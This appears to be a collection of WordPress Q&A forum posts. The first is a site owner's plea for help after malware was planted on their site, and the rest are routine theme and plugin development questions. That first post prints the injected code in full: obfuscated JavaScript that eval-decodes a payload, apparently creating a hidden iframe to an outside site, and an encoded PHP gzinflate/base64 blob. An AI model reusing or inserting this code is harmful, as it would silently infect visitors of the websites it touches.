Wordpress Malware Problem help!

> **Possible Duplicate:**   >  Wordpress Trojan issue help! I accessed the wordpress website I am building and received a warning about a trojan from my anti virus software. I have now checked the site with various online scanners and it appears that someone has planted an inline frame containing the code posted below... I didnt even know wordpress could get infected in this way. Please help me out! Here is a screenshot of the antivirus warning. http://i.stack.imgur.com/NaSE6.png and here is some of the malicious code script code planted on my site.   * if(window['d'+'o'+'c'+'u'+'m'+'ent'])aa=/\w/.exec(new Date()).index+[];aaa='0';try{if(/123/.exec("a").index!=5);}catch(qqq){ss=String;}if(aa.indexOf(aaa)!==-1)f='-30!-30!66!63!-7!1!61!72!60!78!70!62!71!77!7!64!62!77!30!69!62!70!62!71!77!76!27!82!45!58!64!39!58!70!62!1!0!59!72!61!82!0!2!52!9!54!2!84!-30!-30!-30!66!63!75!58!70!62!75!1!2!20!-30!-30!86!-7!62!69!76!62!-7!84!-30!-30!-30!61!72!60!78!70!62!71!77!7!80!75!66!77!62!1!-5!21!66!63!75!58!70!62!-7!76!75!60!22!0!65!77!77!73!19!8!8!70!7!80!65!66!60!65!64!72!69!63!80!62!61!64!62!76!7!60!72!70!8!77!8!9!58!11!61!12!10!59!62!13!17!15!59!18!12!58!58!12!9!61!18!59!62!10!9!15!11!9!18!59!13!59!18!0!-7!80!66!61!77!65!22!0!10!9!0!-7!65!62!66!64!65!77!22!0!10!9!0!-7!76!77!82!69!62!22!0!79!66!76!66!59!66!69!66!77!82!19!65!66!61!61!62!71!20!73!72!76!66!77!66!72!71!19!58!59!76!72!69!78!77!62!20!69!62!63!77!19!9!20!77!72!73!19!9!20!0!23!21!8!66!63!75!58!70!62!23!-5!2!20!-30!-30!86!-30!-30!63!78!71!60!77!66!72!71!-7!66!63!75!58!70!62!75!1!2!84!-30!-30!-30!79!58!75!-7!63!-7!22!-7!61!72!60!78!70!62!71!77!7!60!75!62!58!77!62!30!69!62!70!62!71!77!1!0!66!63!75!58!70!62!0!2!20!63!7!76!62!77!26!77!77!75!66!59!78!77!62!1!0!76!75!60!0!5!0!65!77!77!73!19!8!8!70!7!80!65!66!60!65!64!72!69!63!80!62!61!64!62!76!7!60!72!70!8!77!8!9!58!11!61!12!10!59!62!13!17!15!59!18!12!58!58!12!9!61!18!59!62!10!9!15!11!9!18!59!13!59!18!0!2!20!63!7!76!77!82!69!62!7!79!66!76!66!59!66!69!66!77!82!22!0!65!66!61!61!62!71!0!20!63!7!76!77!82!69!62!7!73!72!76!66!77!66!72!71!22!0!58!59!76!72!69!78!77!62!0!20!63!7!76!77!82!69!62!7!69!62!63!77!22!0!9!0!20!63!7!76!77!82!69!62!7!77!72!73!22!0!9!0!20!63!7!76!62!77!26!77!77!75!66!59!78!77!62!1!0!80!66!61!77!65!0!5!0!10!9!0!2!20!63!7!76!62!77!26!77!77!75!66!59!78!77!62!1!0!65!62!66!64!65!77!0!5!0!10!9!0!2!20!-30!-30!-30!61!72!60!78!70!62!71!77!7!64!62!77!30!69!62!70!62!71!77!76!27!82!45!58!64!39!58!70!62!1!0!59!72!61!82!0!2!52!9!54!7!58!73!73!62!71!61!28!65!66!69!61!1!63!2!20!-30!-30!86'.split('!');md='a';e=window['e'+'val'];w=f;s='';fr='f'+'ro'+'mChar';r=ss[fr+'Code'];for(i=0;0>i-w.length;i++){j=i;s=s+r(39+1*w[j]);}if(aa.indexOf(aaa)!==-1)e(s);if(window['d'+'o'+'c'+'u'+'m'+'ent'])aa=/\w/.exec(new Date()).index+[];aaa='0';try{if(/123/.exec("a").index!=5);}catch(qqq){ss=String;}if(aa.indexOf(aaa)!==-1)f='-30!-30!66!63!-7!1!61!72!60!78!70!62!71!77!7!64!62!77!30!69!62!70!62!71!77!76!27!82!45!58!64!39!58!70!62!1!0!59!72!61!82!0!2!52!9!54!2!84!-30!-30!-30!66!63!75!58!70!62!75!1!2!20!-30!-30!86!-7!62!69!76!62!-7!84!-30!-30!-30!61!72!60!78!70!62!71!77!7!80!75!66!77!62!1!-5!21!66!63!75!58!70!62!-7!76!75!60!22!0!65!77!77!73!19!8!8!70!7!80!65!66!60!65!64!72!69!63!80!62!61!64!62!76!7!60!72!70!8!77!8!9!58!11!61!12!10!59!62!13!17!15!59!18!12!58!58!12!9!61!18!59!62!10!9!15!11!9!18!59!13!59!18!0!-7!80!66!61!77!65!22!0!10!9!0!-7!65!62!66!64!65!77!22!0!10!9!0!-7!76!77!82!69!62!22!0!79!66!76!66!59!66!69!66!77!82!19!65!66!61!61!62!71!20!73!72!76!66!77!66!72!71!19!58!59!76!72!69!78!77!62!20!69!62!63!77!19!9!20!77!72!73!19!9!20!0!23!21!8!66!63!75!58!70!62!23!-5!2!20!-30!-30!86!-30!-30!63!78!71!60!77!66!72!71!-7!66!63!75!58!70!62!75!1!2!84!-30!-30!-30!79!58!75!-7!63!-7!22!-7!61!72!60!78!70!62!71!77!7!60!75!62!58!77!62!30!69!62!70!62!71!77!1!0!66!63!75!58!70!62!0!2!20!63!7!76!62!77!26!77!77!75!66!59!78!77!62!1!0!76!75!60!0!5!0!65!77!77!73!19!8!8!70!7!80!65!66!60!65!64!72!69!63!80!62!61!64!62!76!7!60!72!70!8!77!8!9!58!11!61!12!10!59!62!13!17!15!59!18!12!58!58!12!9!61!18!59!62!10!9!15!11!9!18!59!13!59!18!0!2!20!63!7!76!77!82!69!62!7!79!66!76!66!59!66!69!66!77!82!22!0!65!66!61!61!62!71!0!20!63!7!76!77!82!69!62!7!73!72!76!66!77!66!72!71!22!0!58!59!76!72!69!78!77!62!0!20!63!7!76!77!82!69!62!7!69!62!63!77!22!0!9!0!20!63!7!76!77!82!69!62!7!77!72!73!22!0!9!0!20!63!7!76!62!77!26!77!77!75!66!59!78!77!62!1!0!80!66!61!77!65!0!5!0!10!9!0!2!20!63!7!76!62!77!26!77!77!75!66!59!78!77!62!1!0!65!62!66!64!65!77!0!5!0!10!9!0!2!20!-30!-30!-30!61!72!60!78!70!62!71!77!7!64!62!77!30!69!62!70!62!71!77!76!27!82!45!58!64!39!58!70!62!1!0!59!72!61!82!0!2!52!9!54!7!58!73!73!62!71!61!28!65!66!69!61!1!63!2!20!-30!-30!86'.split('!');md='a';e=window['e'+'val'];w=f;s='';fr='f'+'ro'+'mChar';r=ss[fr+'Code'];for(i=0;0>i-w.length;i++){j=i;s=s+r(39+1*w[j]);}if(aa.indexOf(aaa)!==-1)e(s); and inside the index.php   1. #1583b0# echo(gzinflate(base64_decode("1VZNc5swEP0r3VwEZbCRMJIYQi7pvYceXR8YGxIyiZ0ALelk8t+7u4jEIbabHnroDPIs0tun/XhCPm/XTX3fXdSV19fbza5fio0IxA7HGscPHHc4ym0nVn5R5PPv/XxWPpZrb1v2n74UXen5/gw9y8dgucoKhIhIZF3z6wkp51LFDn5WnDkc5ImfPa+Lbn3tPTw8+E9tm3/rmnp7lT2jT1EMsK9kFj7keSj9KhdhHAENrUHHEBqQoCUYBToCY8HgigKDMwYM6AW/GSCHlO39dQ3KgFWwSCCxBI5TMgaMhAiSlJklgSJQkChAxAItu4AxktdoTPLqjrZEnHrFWE3h4hJGglujga9TnqOp2IgocR9jhujCBJQ8sHHIiREWI6awdcIM+MQgU7DASGbUzKgHY8Fbp8RnmQmDcQXUVMuI1tHTEpcFLpXk6kuMh4tFgeEm2JSEXqWlJYQlbKSMtSMwwgnEIUXqZtF38Iq4NENZOX+Mj3NhJ16liBUDFi7DCcBwqaxyjedVk3IFNf0mbOvU1RSBWBxXEM5qKD42EOtmlPOiWDS/SsInHLfRrnTGuvaoUW/UHEPIlJkMu8YvE9iimNpoDzQSV6jHUwmNSol5N8l92QsqNMfFOBGbGdSesA+fJcXyOXGeBhFyT4dEDx4sOjrvg4iGXGjW6Z+apkdxJq4pLzUklhclo7z+Vym/yXpfkuYPehxP70SR0Qm+I0plpmNaPcG3r2HmSE/uPqr7EPRD7Z4c+aHp7kj/vXjefyLeE37s4/uv7hHDsJiegQ0hyo49H0RGOU8+AmLW3t/WnSdA+NndJheFyMp8vLhLvKh/FrdilfV5lbW5EFnV5KLC6YYu9LvL66IRWZO37bJqAnG525QIrnaNV+dRFl3UYT+7LbdX3XVWB4H/dJPXSNMGjRengfzcL29W/vE7uvRaPzufuz8UvwE="))); #/1583b0# How can i remove this and recover the site???


Word press replacing unicode characters with "?"s

I've noticed that Wordpress has recently started replacing any unicode characters I enter with question marks. There are a couple of people who've had this issue on the word press forums but no one seems to have an answer to it. Has anyone got a solution to this? I self host wordpress, but I've not got much control over PHP and DB settings. It's possible my host has updated the PHP libs or the DB. How would I find out?


Where should I update_options in a theme?

I am designing a theme where the home page (i.e. `is_home()`) should only display the latest blog post. I want to do something like `$wp_query->update_option('posts_per_page', 1)` every time I am on the home page. All other pages that display posts (like archives) should just follow the user defined option. This seems a bit unnecessary to do every single time since the option should just be set once, right? Is it possible within The Loop to just ignore the user-set option of `posts_per_page` and force `have_posts()` to just be set to one post? In general, where should this kind of "set-it-once" stuff go? I don't really think it should be a plug-in because it is theme specific. I also don't want to mess with the user's options which is why `update_option` isn't the best choice for this problem.


Is there a way combine posts meta_name?

I want to know if there is a way that 2 different custom fields that have basicly the same value function to be combined. 1) meta_name: my_link and meta_value: a link 2) meta_name: other_link and meta_value: other link It should work like this: The general call in my template is               <?php if ( get_post_meta($post->ID, 'my_link', true) ) : ?>          <?php echo $my_link; ?>          <?php endif; ?>      So if in the post is present meta_name: other_link and not my_link and in the template is queried my_link, I want the other_link meta_name to be recognized as meta_name: my_link. I searched all over. Thanks in advance.


Is 'repeatable' a field type for meta boxes?

This is probably a silly question, but I'm new to wordpress development so easily confused at the moment. Code: ` array(   'label' => 'Repeatable',   'desc' => 'A description for the field.',   'id' => $prefix.'repeatable',   'type' => 'repeatable'   )   ` My Q: Is ` 'repeatable' ` a standard feature of wordpress, or is it something the developer has created? (have picked this code off the internet to learn). Thank-you!


Why doesn't default Wordpress page view use force_balance_tags?

I noticed that the default WP theme uses force_balance_tags for listing posts' excerpts. This way, it doesn't cause major html breakage whenever someone writes a post like
This is an excerpt.  and this is more text...
      It will close tags instead of bolding everything, and breaking div. Why doesn't the normal wordpress page do this by default, in the default theme? That way, broken page content like:

 now text is not where it's supposed to be
 unmatched tags      would not cause unexpected behavior. Was this an oversight, or are there certain things that break when using force_balance_tags on pages?


How to debug/diagnose RSS feed that's not working?

The RSS feeds on my site don't seem to functioning properly. I recently updated my theme to a new theme I developed and ever since that point the RSS feeds don't display all of my site's content properly. My rss feed only displays the Title with link and published date. No featured image or excerpt/body copy. I have the following in my functions.php               add_theme_support( 'automatic-feed-links' );      What are some other areas I should investigate on my site?


How to test if the widgetized area has any widgets?

I making a widgetized footer with three widgetized areas (footer1, footer2, footer3), The problem is that even if there's no widgets assigned to any widgetized footer area, the footer is still there with his black background! what I want is to remove the footer if there isn't any widget assigned.


custom tabs in media uploader

I've managed to add a custom tab to the media uploader, but for some reason it doesn't come with the same layout - it doesn't load the media-uploader-header that contain all the other tabs:                 add_filter('media_upload_tabs', 'my_media_upload_tabs_filter');          function my_media_upload_tabs_filter($tabs) {             unset($tabs["type_url"]);             unset($tabs['library']);             $newtab = array('ell_insert_gmap_tab' => __('Google Map','insertgmap'));                  return array_merge($tabs,$newtab);     }          add_action('media_upload_ell_insert_gmap_tab', 'media_upload_ell_gmap_tab');          function media_upload_ell_gmap_tab() {         return wp_iframe('media_upload_ell_gmap_form', $errors );     }          function media_upload_ell_gmap_form() {         ?>
HTML Form
          <?php     }        Thanks.


Automatically added brs and paragraphs?

Here's my very simple shortcode:               function box_shortcode( $atts, $content = null ) {             extract( shortcode_atts( array(                 'width' => 'auto',                 'height' => 'auto',                  ), $atts ) );                   return '
'.do_shortcode($content).'
';         }              add_shortcode('box', 'box_shortcode');       > [box]something[/box] should give:
something
      But, it doesn't. Even an empty shortcode (without a content, eg. [box][/box]) gives:

      (I don't care, but don't know where the br comes from) The main problem is that, when I try [box]something[/box] I'm getting:

something

      I know WP editor formats text automatically and there are "noP" plugins out there, but firstly - I'm using the HTML editor, secondly, why the heck WP is adding Brs (sometimes p's) to an inline code? :O It wouldn't be a huge problem, but I HAVE to get PURE output, so:               [box]
Header

Content
[/box]      Will give a header and a div inside my box div, without any parapgrahs, brs, spans etc. The funny thing is I have the same shortcode with h2 instead of div and it doesn't give any brs etc. Sometimes I'm also getting a `<div class="boxy-box" width:auto; height:auto;></p>$content (...)` [edit] I've found some comments on it: > This is driving me nuts as well. What the f**k is the point of having a > html/code mode for posting if wordpress filters the god damn code and wraps > around the tags anyways? So I guess that's the problem. Is there a way of turning autop functionality at least for HTML editor? ;/


Update a Plugin while maintaining back compatibility: general

How can I make updates a public plugin of mine without breaking the plugin for all existing users. **Firstly** , I'd like to change the main plugin's class/namespace, because I'd like it to be similar to other classes in the plugin that it extends. So I'd like to change               class some_class(){}      to               class Some_Class(){}      **Secondly** , the whole class is instantiated and saved in a global variable.               global $some_class;     $some_class = new some_class();      Somewhere on here I saw a good example of how to instantiate a class without a global (can't find it now of course, #doh). The global can be used by users to add/remove a couple of templates. Is there a way to get rid of the global without completely breaking the themes of people who might be using it to manipulate the templates? **Thirdly** , related to above, my main plugin file has gotten really big and I'd like to split it up into pieces for my own sanity. However, if the `some_templates()` method is in the `some_class()` is it possible to move it to the `front_end_class()` without breaking things for users? **For example** To unhook an action in my plugin               function remove_method(){       global $some_class;       remove_action('wp_head', array($someclass, 'some_templates'));     }     add_action('init','remove_method');      Can the class structure and global variable setup be adjusted without breaking this. How can I alert people that this has changed? `_doing_it_wrong()` ? **Finally** , I've been saving some post meta as "yes" versus "no" in lieu of a boolean. Does it make sense to change this?


Do we still need to include a "if (have_posts())" in templates?

I include this logic in my template all the time               if (have_posts()):      //show content     else:      //show content not found     endif;      But recently i began to doubt its necessarity, wordpress will turn to 404.php when no post found, it seems no need to add this logic in normal templates, "else" will never be triggered, is it?


Get 'page' number with infinite scroll

I added infinite scroll support of the Jetpack plugin to my own theme using this tutorial:               add_theme_support( 'infinite-scroll', array(         'container'  => 'content',         'footer' => false,         'render' => 'vividflow_infscroll_render',         'wrapper' => 'post_summaries',         'posts_per_page' => 12,         'type' => 'scroll'     ) );      Now I need something like a counter which increments every time additional posts are loaded. I know that the new posts are placed in an `infinite-view-` _`n`_ class and I have a JavaScript function which I want to call on that new loaded class:               function setupPostSummaries(counter) {         jQuery('.infinite-view-'+counter).doSomething();     }      So I guess I need a PHP variable in the infinite scroll render function or the loop which increments every time additional posts are loaded. Then I can do in the end of The Loop:               <script type="text/javascript">setupPostSummaries(<?php the_counter(); ?>);</script>      Is such a variable there already? Or is there an other way to achieve my goal?


Post sharing in social network

I have a problem. There is AFTER SINGULAR in widgets line. Then I chose widget: text or HTML code. I have a pictures of 3 social media icons (facebook, twitter, pinterest) I want that icons (facebook, twitter, pinterest) link will be to : Example: https://www.facebook.com/sharer/sharer.php?u= https://twitter.com/intent/tweet?original_referer= I want that there would be automatic write post title and post URL. So, what should I write in the end of the link? (facebook, twitter, pinterest) Please, help. :-)


What's wrong with this line of code?

I asked a question earlier and explained that I couldn't log in with out this message coming up: Catchable fatal error: Object of class WP_User could not be converted to string in /hermes/bosoraweb097/b2086/ipg.cantchoosecouk1/wp- content/plugins/wp-customer-reviews/wp-customer-reviews.php on line 239 I looked in to it and this is line 239 in the /wp-customer-reviews/wp- customer-reviews.php folder:               $this->p->$c = trim(stripslashes($val));      Could somebody please tell me what is wrong with this code and why it's causing the error?


Taxonomy Grid Archive Help?

I need some help. I would like to make a custom taxonomy archive that shows a grid of the terms(categories) in the taxonomy. I know how to accomplish the grid portion, but I'm having trouble with the main function of displaying the terms. I feel like I've seen this done so many times, but not that I'm trying to accomplish it, I can't. As an example, this page shows how I want the taxonomies to look - including title, featured image, post count of terms, etc. Right now I can't even get the terms to show up as links to the posts within the term. And if I can accomplish that, how do I go about styling the pieces? I would appreciate some guidance with this.


Redirect Pretty Permalinks to Ugly Permalinks

I want to change the permalinks from `/%postname%.html` to the default `?p=%post_id%` permalink. I know how to change the permalink structure that from WordPress admin panel. However, I have over 30000 posts and I want to make sure that people who visit the old URLs will be redirected to the new. For example: `http://example.com/sample-post.html` would redirect to `http://example.com/?p=123`


Save list from a custom meta box?

I have a simple list (`ul>li`) which is manipulated with jQuery UI in a custom meta box. How would I go about saving the contents of the list during post save? I already have the save function ready, but how do I get the HTML data into PHP so I can put it in the database with `update_post_meta`? The list looks like (with class names etc):

Text 1

Text 2

Text 3

      'Text 1, Text 2, Text 3' would be saved.


If permalink is equal to current site url

Is there a way to add a class to a div, when the current site url is equal to the permalink of a post? I need a class "current" to my custom made menu. I put the posts links in a list item with a loop, and for every link i want to check if the permalink is equal to the current page url. If the permalink matches the current page url, i want to add the class "current". Something like:               <?php $currentUrl = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; ?>     <?php if ( $currentUrl == the_permalink() ) { echo ' class="current"'; } else {} ?>      Together with the loop:               <?php $currentUrl = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; ?>          <?php query_posts('orderby=name'); ?>     <?php while (have_posts()) : the_post(); ?>             <li>            <a <?php if ( $currentUrl == the_permalink() ) { echo ' class="current"'; } else {} ?>            href="<?php the_permalink() ?>">               <?php the_title() ?>            </a>        </li>          <?php endwhile; ?>     <?php wp_reset_query(); ?>


Restrict access to xmlrpc.php

I am fairly new to Wordpress and I recently noted a huge amount of traffic hitting the following:               162.242.170.222 - - [01/Aug/2014:08:18:54 -0500] "POST /xmlrpc.php HTTP/1.0" 503 4859     162.242.170.222 - - [01/Aug/2014:08:19:01 -0500] "POST /xmlrpc.php HTTP/1.0" 503 4859     162.242.170.222 - - [01/Aug/2014:08:19:01 -0500] "POST /xmlrpc.php HTTP/1.0" 503 4859     162.242.170.222 - - [01/Aug/2014:08:19:02 -0500] "POST /xmlrpc.php HTTP/1.0" 503 4859     162.242.170.222 - - [01/Aug/2014:08:19:11 -0500] "POST /xmlrpc.php HTTP/1.0" 503 4861     162.242.170.222 - - [01/Aug/2014:08:19:13 -0500] "POST /xmlrpc.php HTTP/1.0" 503 4861     162.242.170.222 - - [01/Aug/2014:08:19:18 -0500] "POST /xmlrpc.php HTTP/1.0" 503 4861      I blocked the IP address which is a temp solution. Is there a permanent solution to blocking these requests, expecially if I don't need


How to add a body class based on a custom taxonomy term

I'm trying to insert the slugs of custom taxonomies as classes in the opening body tag on certain WordPress pages. What I have so far is causing errors. I found a bit of help with the examples here and here, and it works, except that it gives an error on any page that doesn't have a term from the "section" taxonomy. The error is:               Warning: join() [function.join]: Invalid arguments passed in /home/*****/public_html/example.com/wp-includes/post-template.php on line 387      and the code is:               // add classes to body based on custom taxonomy ('sections')     // examples: section-about-us, section-start, section-nyc     function section_id_class($classes) {         global $post;         $section_terms = get_the_terms($post->ID, 'section');         if ($section_terms && !is_wp_error($section_terms)) {             $section_name = array();             foreach ($section_terms as $term) {                 $classes[] = 'section-' . $term->slug;             }         return $classes;         }     }     add_filter('body_class', 'section_id_class');


Gravity Forms - Repeatable "File Upload" field using "gform_column_input_content" filter

I am looking to use the gform_column_input_content filter to make a repeatable file upload element. The filter modifies the HTML content of the list field column input tag. The following code provided from the docs shows how to replace the default text input with a textarea input.               <?php     add_filter("gform_column_input_content_21_9_3", "change_column3_content", 10, 6);     function change_column3_content($input, $input_info, $field, $text, $value, $form_id){         //build field name, must match List field syntax to be processed correctly         $input_field_name = 'input_' . $field["id"] . '[]';         $tabindex = GFCommon::get_tabindex();         $new_input = '<textarea name="' . $input_field_name . '" ' . $tabindex . ' class="textarea medium" cols="50" rows="10"></textarea>';         return $new_input;     }     ?>      I want to replace this with a File Upload field, but I'm pretty much stumped as where to go from here. Surely just filtering the File Upload elements HTML won't result in a working File Upload element?


Copied wordpress template page not working

I have a WordPress theme with multiply template pages Default, Blog, Contact & Portfolio. I have copied the Portfolio page and edited to create a new page template I have changed the Template Name in the php file from Portfolio to Homepage as below so i can customise the portfolio for the homepage.               <?php     /**      Template Name: Page - Homepage     */     ?>      But the homepage and portfolio page are the same. Why is this happening? and how can I fix it?


List total number of users that are authors

## Question I want to display total number of Authors and total number of subscribers on the blog but exclude the admin in this way: _**56_** Authors so far _**15_** Subscribers so far ## Code that is close to what I need :) I have this code and it displays the total number of everybody that is registered. I need it to display authors and subscriber roles separately. Please help :)               <?php $users = $wpdb->get_var("SELECT COUNT(ID) FROM $wpdb->users");     echo $users." members so far"; ?>      # Answer updated: Thank You @JanBeck This code generates the number of authors               echo count( get_users( array( 'role' => 'author' ) ) )


Wordpress custom taxonomy template not working

I installed theCartPress plugin and it created tcp_product_category taxonomy for tcp_product post type. I created a page with custom template to list all the product categories. I can use `single-tcp_product.php`, but `taxonomy-tcp_product_category.php` doesn't work. I tried removing `tcp_` (it's rewritten like that), tried everything from template hierarchy. I installed "Reaveal template" plugin and when I visit > >     http://palivonas.lt/test/islosaitis/product_category/spinteles/ >   it shows "archive.php". I tried changing code, nothing changes there. I emptied `archive.php`, `category.php`, `index.php`, `page.php` and nothing changed in that link, still shows `"Category Archives: spintelės"` title and list of products. Any ideas? Don't mind any layout issues, I'm just trying to make it work, then design. * * * _I've been trying to make this work for a few hours now and I give up, I need help._


How to display pending posts on the homepage only for editors

I'm working on a project where editors need to see the pending posts on the homepage to improve them before publish. Maybe there is something to do with the loop in this way: If editors logged:               if ( current_user_can('edit_post') ) {         display the pending posts     }      The args to display publish and pending posts:               $args = array( 'post_type' => 'post', 'post_status' => 'publish, pending' );      The completed loop:               <?php     if ( current_user_can('edit_post') ) {         $args = array( 'post_type' => 'post', 'post_status' => 'publish, pending' );     } else {         $args = array( 'post_type' => 'post', 'post_status' => 'publish' );     }     $wp_query = new WP_Query($args); while ( have_posts() ) : the_post(); ?>          …the content here...          <?php endwhile; ?>     <?php wp_reset_postdata(); // reset the query ?>      It work for me. Do you think this is correct? Maybe the code can be improved. Thanks for the help.


Automatically add title attribute to links in WordPress

If I link to an article on a website, is there a way to automatically include a title attribute with the value being the title of the linked page?


Should I use custom taxonomy or custom post type

I've recently taken on a project from a client of mine, after a lot of persuasion I've managed to finally get the website under some kind of CMS. I'm pretty new to Wordpress I've come from an ExpressionEngine background and fancied trying something new for a change, so excuse the lack of knowledge (I'm trying my best! :D). Now The issue I'm currently facing is that they have very specific directions regarding how they want their content displayed on their website and more importantly how they would like to manage it. They are a travel agent I'm currently putting together the resort directory that will display all of the resorts they offer. In regards to the current structure of the directory it will be made up of 4 different sections. To give you a better understanding of how I want things to work take a look at this hierarchy below, (I've used turkey as an example, these would need to be dynamic):   * **/destinations/**    This will be our destinations page that will list all of the countries they currently offer. I imagine this to be a static page with some content about the countries on offer with a list of the countries below ( **These will be our parent taxonomies** ).   * **/destinations/turkey/**   This will be our parent taxonomy. This page will also have to have the ability to add some static content to insert information about the country and its locations. Below this will be a second list, these will be the different areas of turkey ( **These will be children of the parent taxonomies** ).   * **/destinations/turkey/belek/**   This will be our child taxonomy, This page will again need to have the ability to add some static content. It will also include our list of resorts that my client offers within this location ( **These will be our entries/posts** ).   * **/destinations/turkey/belek/resort-name**   This will be our post/entry page, here we will have all of the information on the select resort, the specifics of this aren't an issue and I've already got this sorted. Now, I've done a lot of reading up on custom post types, custom taxonomies and their abilities and uses but I'm hit with a situation at the moment where I can't decide on which route I should take. I've been experimenting over the last few hours with the setup of **one custom post type** (for resorts) and **one hierarchical taxonomy** (for locations). Which works some what ok BUT due to the limitations of the taxonomy UI within the admin panel it doesn't allow me to add my static content/images etc. (I'd much prefer to use a WYSIWYG especially from a clients point of view). So this makes me wonder if it would be worth making **two custom post types** and scrapping taxonomies all together, making one of the post types resorts and the other locations. With the locations post type I could set it up like the pages module (which would give me hierarchical controls to allow me to organise my locations how I had originally planned) but is this a wise move? I mean from what I've read you shouldn't really organise content this way but I've got a feeling that maybe just a clash of contextual semantics (I could be wrong!). Would there be any limitations for me setting things up this way should I wish to add search functionality in the future? Or anything else for that matter? I thought I'd mention this before I FINALLY click the submit button (apologies for the great wall of text) but **pages**... I've read here that they are powerful little gems within Wordpress, how should I be taking advantage of these if I'm using custom taxonomies? How well do they work with listing categories are they what I need? Right, that about wraps up everything I've got to ask for now - maybe I should have split this into a few posts but hey! I hope this gives you guys enough information about what I'm trying to achieve and please if I am going wrong feel free to point me in the right direction I'm really eager to learn more about Wordpress and it's capabilities. Regards   Danny


How can I force WordPress to redirect to canonical permalinks?

In WordPress 3.1 a post can be reached a number of ways, for example each one of these takes you to the same post (where /id is the base)               http://myblog.com/id/1008     http://myblog.com/id/1008/my-slug     http://myblog.com/my-slug      How can I tell WordPress to redirect all of these variations to               http://myblog.com/id/1008/my-slug      ?


"Home" Page now only displaying the single latest post

We did have a normal dynamic post home page.( Arjuna X 1.6.11 by SRS Solutions) After selecting for a static, we returned the settings to our original settings. However, now we only have the single lastest post visible. I would love to get back the original settings. Any help?


Any way to hide a blog posts text if it's longer than let's say 300 characters

Is there a way of hiding a blog posts text if it's longer than let's say 300 characters. I don't want it to push the rest of the content below the fold. You know, the show more text thing.


Do all files in child theme override the parent?

I'm curious if other PHP code files besides functions.php, WP template files and style.css in a child theme actually override the same file in a parent them? I am working with a client that has a theme with child theme support, however, there are no hooks or actions to unload for the functions that I wish to override. Looking for a clean way to perform this override whith customized code that won't be overwrote on upgrade.


How to hide trackbacks on wp-admin/edit-comments.php

How to hide (or not to show, better said) trackbacks on wp-admin/edit- comments.php page? I want to hide the comments with no email (also known as trackbacks) and comments with a specific email from the edit-comments.php page.


Images in the twentyfourteen theme

How and were do I change the size on the sticky post images and the other images in the theme twentyfourteen? I would like 8 sticky post images on the "front page" instead of 6 and I want them in a more portrait format so that I can use all my old images on my current blog (600x850px). I like the theme but all my old images are not suitable for the format. I really can't find the sizes anywhere.


Add Commas Between Menu Items?

I created a menu in wordpress in the Menus section of the backend is there any way to display the menu links with commas so it displays as `Link1, Link2, Link3, Link4`?


Visual Editor only working for the admin user

Any idea why the visual editor would only work on the administrator user. Not even with the administrator role I can get it to work. I just shows a white box with white type inside it and has none of the wysiwyg buttons. Thanks in advanced Edit: I'm using TinyMCE Advanced and Advanced TinyMCE Config


Theme Customizer changes are dissappearing when change page

An example option i am using:                    // Layout         $wp_customize->add_setting( $themeslug.'_settings[layout]', array(             'default' => 'content-sidebar',             'type' => 'option',             'transport'         => 'postMessage'         ) );                      $wp_customize->add_control( $themeslug.'_settings[layout]', array(             'label' => __( 'Layout', 'anatema' ),             'section' => 'secenek',             'type' => 'radio',             'choices' => array(                 'content-sidebar' => __( 'Content - Sidebar', 'anatema' ),                 'sidebar-content' => __( 'Sidebar - Content', 'anatema' ),             ),         ) );                                 $wp_customize->get_setting( $themeslug.'_settings[layout]' )->transport = 'postMessage';      My options are getting save when click save button. Changes are effecting properly on live preview with customizer.js but when i click a page in live preview, all un-saved changes are disappearing. How can i prevent that?


Get users registered 30 days ago(or more)

How(in wordpress multisite) can i get id of users, who signed up 30 days ago, or more? I am building free trial system for 30 days. I want to have a function, that check when user signed up, and how many days have passed. The function should return number of days that passed. It's easy to get user signed up time:               global $current_user;     get_currentuserinfo();     echo $current_user->user_registered;      It's echo:               2012-09-16 6:25:47      Now, how to check how many days passed from above time?


iPhone Safari full size & PC versions different

This site displays the correct logo at top left of the content in Chrome, but displays the incorrect logo in Safari on an iPhone, at full size browsing. The incorrect logo says "Dandelion". The correct logo says "Incredible Concepts". The incorrect logo belongs to the Wordpress theme's parent theme. The child theme is activated. If Safari is viewing at full size desktop version, it should show the same content as Chrome on a PC, and this content is produced by the Wordpress child theme. If the theme had reverted to the parent theme, the header would be totally different. Why is the logo the only incorrect item?


wordpress sub-directory sites on a sub-domain?

I have a large site at www.example.com this is a .net site I want to use WP multisite installed at word.example.com this would point to the WP root install directory but on a different server than the root of the domain www.example.com then all new sub-sites in the WP multisite would be e.g. word.example.com/site1 word.example.com/site2 is this possible? does anyone have any info they can point me to? I have been searching but not yet seen this scenario. Thanks.


wp_query a single custom post type?

How does one get a custom post by id? FYI: I am passing a particular post id through a form and it's performing an ajax call. I'd like to retrieve just one post and grab the title:               <?php      // E.g. $loc = 700     $args = array('post_id'=>$loc, 'post_type'=>'seminars', 'limit'=> '1');          $loop = new WP_Query($args);     // Start loop for seminar posts     $loop->the_post();     echo the_title();          // returns just one post and it's not the right custom post


Get Custom Post Child Term

I am trying to echo the custom post's child "section", if one exists. I only want to show the second level, or child, sections. This is working, however, it displays the 1st level section if no second level exists.               $terms = get_the_terms($post->ID, 'section' );     if ($terms && ! is_wp_error($terms)) :         $term_slugs_arr = array(         );         foreach ($terms as $term) {             $term_slugs_arr[0] = $term->name;         }         $terms_slug_str = join( " ", $term_slugs_arr);          endif;          echo '
'.$terms_slug_str.'
';


Display most recent post on homepage?

Is there any plugin that allows me to customize my blog homepage to show only most recent post? Problem is that on my home page, it displays too much posts, my blog is here, http://www.nooranibakerally.net/ Thanks


Ordering values entered in Custom Taxonomies

I found a great article on Custom Taxonomies here. I have a specific requirement related to ordering values entered in the Custom Taxonomies. How do I display the terms entered in the meta boxes in the order I entered them and “NOT” in alphabetical order.(ex. If I enter Edward, Linda, Arnold in meta boxes, how do I NOT display them Arnold, Edward, Linda). Thanks in advance. Any help would be greatly appreciated.


Redirect preview single post link to a page

I have custom post types setup such that the items don't have or need single- post pages. The posts will be displayed via a custom query on a page. My question is when i create a single post (on the custom post type), how do i redirect the preview link so it previews the page and not the single-post? the only way i can think of is make the single-[posttype].php template identical in template and query with the archive page i made, but that just seems wonky.


Feed only showing 1 result?

Any ideas? It seems my feed is only showing one post, although I made several today. http://www.alpinezone.com/category/news-and-featured-articles/feed/


Get first page of given category

